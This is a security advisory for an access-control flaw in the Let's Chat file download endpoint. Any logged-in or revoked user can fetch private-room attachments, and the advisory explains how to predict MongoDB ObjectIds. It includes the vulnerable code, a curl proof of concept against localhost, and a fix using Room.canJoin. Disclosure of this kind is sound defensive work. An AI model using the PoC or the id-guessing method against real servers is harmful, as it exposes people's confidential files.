
Security Advisory: Insufficient Access Controls Allow for Unauthorized File Downloads (Let's Chat)
Назначенный CVE ID: CVE-2026-66750
GET /files/:id/:name проверяет, что вызывающий пользователь выполнил вход, и затем отдаёт файл. Он никогда
не проверяет, разрешено ли вызывающему видеть комнату, которой принадлежит файл.
Поэтому любая учётная запись может читать вложения из приватных комнат и комнат, защищённых паролем, участником которых она не является, а у пользователей, чей доступ к комнате был отозван, продолжают работать ссылки на скачивание каждого файла, загруженного, пока у них был доступ.
Конечная точка списка файлов в том же контроллере действительно проверяет членство — именно этого не хватает конечной точке скачивания.
URL репозитория: https://github.com/sdelements/lets-chat
Уязвимость присутствует с версии 0.3.0 (коммит 55e8833, 24 января 2015, "Files backend") по 0.4.8,
последний выпуск. Исправленной версии не существует.
Приватные комнаты и комнаты, защищённые паролем, появились в 0.4.0, поэтому нарушаемая граница конфиденциальности существует начиная с 0.4.0.
Требуется files.enable: true, которое выключено в defaults.yml, но включено во многих развёртываниях,
поскольку обмен файлами — документированная функция.
Подтверждено на 0.4.8 в коммите 617207f и на docker.io/sdelements/lets-chat:latest
(0.4.7).
CWE-639: Обход авторизации через управляемый пользователем ключ. Также CWE-862 — отсутствие авторизации.
Базовая оценка CVSS 4.0: 5.3 (средний)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Злоумышленнику нужны одна обычная учётная запись пользователя, сетевой доступ к HTTP-порту и ObjectId файла. Самостоятельная регистрация включена по умолчанию.
На практике id не является секретом. Любой, кто когда-либо был участником комнаты, уже имеет его,
потому что и files:list, и сообщение upload://files/<id>/<name>, публикуемое при загрузке, выдают
его. Отзыв доступа не делает его недействительным, а у URL нет срока действия или подписи на
URL.
Для злоумышленника, не имеющего истории в целевой комнате, id приходится угадывать. Это MongoDB ObjectId, а не UUID, и лишь очень малая его часть непредсказуема:
6a65092c fa7876 0001 34649e
| | | |
| | | +--- 3 byte counter, increments by one per document
| | +--------- 2 byte process id
| +--------------- 3 byte machine id, fixed for the life of the process
+----------------------- 4 byte Unix timestamp, one second resolution
Всё, кроме счётчика, постоянно в течение времени жизни серверного процесса, а
счётчик представляет собой единую последовательность, общую для всех коллекций. Поэтому злоумышленник, загрузивший один свой файл,
узнаёт идентификатор машины, идентификатор процесса и текущее положение счётчика,
а все файлы, загруженные кем-либо ещё, находятся на небольшом расстоянии от него в этой последовательности. Восемь
последовательных загрузок на sdelements/lets-chat:latest:
6a65092c fa7876 0001 34649e
6a65092c fa7876 0001 34649f
6a65092c fa7876 0001 3464a0
6a65092c fa7876 0001 3464a1
6a65092c fa7876 0001 3464a2
6a65092c fa7876 0001 3464a3
6a65092c fa7876 0001 3464a4
6a65092c fa7876 0001 3464a5
Маршрут скачивания применяет requireLogin и ничего больше.
app/controllers/files.js:59-92:
app.route('/files/:id/:name')
.all(middlewares.requireLogin)
.get(function(req, res) {
models.file.findById(req.params.id, function(err, file) {
if (err) {
// Error
return res.send(400);
}
if (!file) {
return res.send(404);
}
var isImage = [
'image/jpeg',
'image/png',
'image/gif'
].indexOf(file.type) > -1;
var url = core.files.getUrl(file);
if (settings.provider === 'local') {
res.sendFile(url, {
headers: {
'Content-Type': file.type,
'Content-Disposition': isImage ? 'inline' : 'attachment'
}
});
} else {
res.redirect(url);
}
});
});
file.room загружается, но затем нигде не используется.
Путь списка в той же функции действительно проверяет членство.
app/core/files.js:156-175:
Room.findById(options.room, function(err, room) {
...
var opts = {
userId: options.userId,
password: options.password
};
room.canJoin(opts, function(err, canJoin) {
...
if (!canJoin) {
return cb(null, []);
}
Таким образом, в приложении уже есть необходимая проверка (Room.canJoin, определённая в
app/models/room.js:130); маршрут скачивания просто её не вызывает.
Требуется files.enable: true и rooms.private: true
(LCB_FILES_ENABLE=true LCB_ROOMS_PRIVATE=true).
BASE=http://localhost:5000
for U in owner insider; do
curl -s -X POST $BASE/account/register \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$U\",\"email\":\"[email protected]\",
\"password\":\"Passw0rd!23\",\"password-confirm\":\"Passw0rd!23\",
\"firstName\":\"$U\",\"lastName\":\"T\",\"displayName\":\"$U\"}"
curl -s -c $U.txt -X POST $BASE/account/login \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$U\",\"password\":\"Passw0rd!23\"}"
done
# 1. The owner creates a private room and adds the insider. Note the room id.
curl -s -b owner.txt -X POST $BASE/rooms -H 'Content-Type: application/json' \
-d '{"name":"Project","slug":"project","private":true}'
RID=<room id>
curl -s -b owner.txt -X PUT $BASE/rooms/$RID -H 'Content-Type: application/json' \
-d '{"name":"Project","description":"","participants":"insider"}'
# 2. The owner uploads a file. Note the file id.
echo "CONFIDENTIAL-PRODUCT-ROADMAP" > roadmap.png
curl -s -b owner.txt -F "[email protected];type=image/png" $BASE/rooms/$RID/files
FID=<file id>
# 3. The owner revokes the insider.
curl -s -b owner.txt -X PUT $BASE/rooms/$RID -H 'Content-Type: application/json' \
-d '{"name":"Project","description":"","participants":""}'
# 4. The insider is now correctly locked out of the room.
curl -s -b insider.txt "$BASE/files?room=$RID"
curl -s -b insider.txt "$BASE/messages?room=$RID"
# 5. But the file still downloads.
curl -s -b insider.txt "$BASE/files/$FID/roadmap.png"
Тот же результат справедлив для учётной записи, которая никогда не была участником комнаты, при известном id файла.
Вложения в приватных комнатах и комнатах, защищённых паролем, доступны для чтения любой учётной записи на сервере, которая владеет или может вычислить id файла. Удаление пользователя из приватной комнаты или смена пароля комнаты не лишают его доступа к уже загруженным файлам; архивирование комнаты также этого не делает.
Загрузите комнату и используйте проверку, которую уже выполняет files:list. В
app/controllers/files.js:62, после проверки if (!file):
models.room.findById(file.room, function(err, room) {
if (err || !room) {
return res.sendStatus(404);
}
room.canJoin({ userId: req.user._id, password: req.param('password') },
function(err, canJoin) {
if (err || !canJoin) {
return res.sendStatus(404);
}
// existing sendFile / redirect logic
});
});
Возвращение 404 вместо 403 для неавторизованного id позволяет не подтверждать, что файл существует.